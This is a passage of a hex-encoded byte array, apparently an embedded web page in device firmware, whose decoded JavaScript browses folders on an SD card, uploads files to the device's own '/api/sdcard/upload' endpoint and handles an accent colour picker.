0x6F, 0x6E, 0x20, 0x74, - 0x68, 0x65, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, - 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x3D, 0x20, 0x67, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, 0x61, 0x74, 0x68, 0x20, 0x3D, 0x20, 0x27, 0x2F, 0x6D, 0x6E, 0x74, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3E, 0x20, 0x31, 0x29, 0x20, 0x7B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x70, 0x61, 0x74, 0x68, 0x50, 0x61, 0x72, 0x74, 0x73, 0x20, 0x3D, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x73, 0x6C, 0x69, 0x63, 0x65, 0x28, 0x31, 0x29, 0x2E, 0x6D, 0x61, 0x70, 0x28, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, - 0x2E, 0x6E, 0x61, 0x6D, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, 0x61, 0x74, 0x68, 0x20, 0x3D, 0x20, 0x70, 0x61, - 0x74, 0x68, 0x2E, 0x6A, 0x6F, 0x69, 0x6E, 0x28, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, 0x61, 0x74, 0x68, 0x2C, 0x20, 0x2E, 0x2E, 0x2E, 0x70, 0x61, 0x74, 0x68, 0x50, 0x61, 0x72, 0x74, 0x73, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, - 0x28, 0x27, 0x70, 0x61, 0x74, 0x68, 0x27, 0x2C, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, 0x61, 0x74, 0x68, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x53, 0x68, 0x6F, 0x77, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, - 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x73, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x27, 0x55, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x2E, 0x2E, 0x2E, 0x27, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, - 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2F, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x66, 0x6F, 0x72, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, 0x65, - 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, - 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, - 0x27, 0x46, 0x69, 0x6C, 0x65, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x64, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x21, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, - 0x20, 0x27, 0x46, 0x69, 0x6C, 0x65, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x64, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x2E, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x27, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x74, 0x68, 0x72, 0x6F, 0x77, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x27, 0x46, 0x61, 0x69, - 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, - 0x64, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, - 0x65, 0x72, 0x74, 0x28, 0x60, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x20, 0x24, 0x7B, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, - 0x67, 0x65, 0x7D, 0x60, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, - 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x73, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, - 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x60, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x3A, 0x20, 0x24, 0x7B, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x7D, 0x60, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, - 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x70, 0x69, 0x63, 0x6B, 0x65, - 0x72, 0x27, 0x29, 0x2E, 0x61, 0x64, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x4C, 0x69, 0x73, 0x74, 0x65, 0x6E, 0x65, 0x72, 0x28, 0x27, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x27, 0x2C, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x28, - 0x65, 0x76, 0x65, 0x6E, 0x74, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x68, 0x65, 0x78, 0x43, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x65, - 0x76, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, - 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x68, 0x65, 0x78, 0x27, 0x29, 0x2E, 0x74, 0x65, 0x78, 0x74, - 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x68, 0x65, 0x78, 0x43, 0x6F, 0x6C, 0x6F, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x73, 0x79, 0x6E, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, 0x20, 0x7B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, - 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x22, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, - 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x22, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x22, 0x29, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x64, 0x61, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, - 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x64, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x3B, 0x20, 0x2F, 0x2F, 0x20, 0x53, 0x74, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x65, - 0x6E, 0x74, 0x69, 0x72, 0x65, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, - 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x5B, 0x20, 0x7B, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x3A, 0x20, 0x22, 0x52, 0x6F, 0x6F, 0x74, 0x22, 0x2C, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x22, - 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x22, 0x2C, 0x20, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x3A, 0x20, 0x73, 0x64, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x20, 0x7D, 0x20, 0x5D, 0x3B, 0x20, 0x2F, 0x2F, 0x20, 0x49, 0x6E, - 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x22, 0x53, - 0x44, 0x20, 0x63, 0x61, 0x72, 0x64, 0x20, 0x64, 0x61, 0x74, 0x61, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x64, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x2E, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x74, 0x68, 0x72, 0x6F, 0x77, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x22, 0x46, 0x61, 0x69, 0x6C, 0x65, - 0x64, 0x20, 0x74, 0x6F, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x20, 0x53, 0x44, 0x20, 0x63, 0x61, 0x72, 0x64, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, - 0x20, 0x3D, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x22, 0x46, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x53, 0x44, 0x20, 0x63, - 0x61, 0x72, 0x64, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, - 0x6F, 0x72, 0x28, 0x22, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, 0x20, 0x64, 0x61, 0x74, 0x61, 0x3A, 0x22, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, - 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x67, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x6E, 0x61, 0x76, 